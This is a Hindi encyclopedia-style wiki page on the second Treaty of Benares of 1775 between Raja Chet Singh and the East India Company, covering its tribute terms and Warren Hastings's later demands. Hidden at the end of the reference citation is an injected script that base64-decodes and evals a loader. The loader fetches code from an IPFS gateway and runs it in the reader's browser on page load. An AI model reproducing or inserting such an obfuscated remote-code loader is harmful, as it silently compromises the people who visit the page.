बनारस की सन्धि द्वितीय

भारत डिस्कवरी प्रस्तुति
आशा चौधरी (चर्चा | योगदान) द्वारा परिवर्तित 11:42, 23 अप्रैल 2012 का अवतरण
(अंतर) ← पुराना अवतरण | वर्तमान अवतरण (अंतर) | नया अवतरण → (अंतर)
यहाँ जाएँ:भ्रमण, खोजें

बनारस की द्वितीय सन्धि 1775 ई. में की गई थी। यह सन्धि राजा चेतसिंह और ईस्ट इंडिया कम्पनी के बीच में हुई थी।

  • इस सन्धि के द्वारा चेतसिंह ने, जो कि मूलरूप में अवध के नवाब का सामन्त था, ईस्ट इंडिया कम्पनी का प्रभुत्व स्वीकार कर लिया।
  • उसने यह प्रभुत्व इस शर्त पर स्वीकार किया कि, वह कम्पनी को साढ़े बाइस लाख रुपये का वार्षिक नज़राना दिया करेगा।
  • सन्धि में इस बात का भी उल्लेख था कि, ईस्ट इण्डिया कम्पनी उससे अन्य किसी प्रकार की माँग नहीं करेगी।
  • एक शर्त यह भी थी कि, कम्पनी का कोई भी व्यक्ति राजा के अधिकारों में हस्तक्षेप नहीं करेगा, और न ही देश की शांति को भंग करेगा।
  • इस निश्चित आश्वासन के बावजूद वारेन हेस्टिंग्स ने 1778 - 1780 के वर्षों में और भी अतिरिक्त धन की माँग की।
  • यह घटना भारतीय इतिहास में 'चेतसिंह के मामले' के नाम से जानी जाती है।


पन्ने की प्रगति अवस्था
आधार
प्रारम्भिक
माध्यमिक
पूर्णता
शोध

टीका टिप्पणी और संदर्भ

भट्टाचार्य, सच्चिदानन्द भारतीय इतिहास कोश, द्वितीय संस्करण-1989 (हिन्दी), भारत डिस्कवरी पुस्तकालय: उत्तर प्रदेश हिन्दी संस्थान, 270।<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

संबंधित लेख